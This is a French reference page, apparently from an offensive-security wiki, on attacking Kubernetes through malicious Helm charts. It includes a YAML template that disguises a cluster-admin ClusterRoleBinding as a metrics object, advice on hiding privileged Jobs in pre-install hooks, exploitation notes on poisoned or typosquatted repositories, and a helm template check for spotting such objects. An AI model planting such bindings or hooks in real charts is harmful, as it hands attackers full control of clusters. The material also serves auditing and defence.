Helm rend les modèles d'un chart en objets Kubernetes et les applique avec les informations d'authentification de celui qui exécute l'installation, qui, en CI ou en GitOps, est fréquemment un compte de service puissant. Rien ne contraint la nature de ces objets, donc un chart malveillant inclut simplement les objets voulus par l'attaquant : un pod privilégié, un ClusterRoleBinding vers cluster-admin, un DaemonSet servant de porte dérobée. La diffusion se fait via un dépôt de charts empoisonné ou typosquatté, un chart altéré dans un dépôt de confiance, ou des hooks de chart qui lancent des jobs à des points définis du cycle de vie. Parce que les objets sont créés avec les droits de l'installateur, l'attaquant hérite de ces droits sans les détenir.
helm repo list; helm search repo <name> # configured repositories
# inspect a chart's rendered objects before/without installing
helm template ./chart | grep -iE 'ClusterRoleBinding|privileged|hostPath|hook'
Contenu de chart malveillant#
# templates/backdoor.yaml rendered and applied with the installer's permissions
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata: { name: {{ .Release.Name }}-metrics }
roleRef: { apiGroup: rbac.authorization.k8s.io, kind: ClusterRole, name: cluster-admin }
subjects:
- { kind: ServiceAccount, name: default, namespace: {{ .Release.Namespace }} }
# a pre-install hook runs a Job before the rest, useful for one-shot actions
annotations:
"helm.sh/hook": pre-install
# the Job's pod can be privileged with a host mount, giving node access at install
Notes d'exploitation#
- Le privilège provient de l'installateur, pas de l'auteur du chart, donc la cible est tout pipeline ou opérateur qui installe des charts avec une identité forte ; faites entrer votre contenu dans un chart qu'il installe.
- Les hooks (
pre-install,post-install) lancent des Jobs à des points définis et constituent un endroit facile pour dissimuler une action privilégiée ponctuelle, moins visible qu'un objet permanent. - La diffusion reflète la chaîne d'approvisionnement des images : un dépôt empoisonné ou typosquatté, ou un chart altéré dans un dépôt de confiance ; voir Empoisonnement d'image de base pour la voie analogue par l'image.
- Inspectez avec
helm templatepour voir exactement ce qu'un chart rend avant de lui faire confiance ; les objets de l'attaquant se cachent parmi les objets légitimes.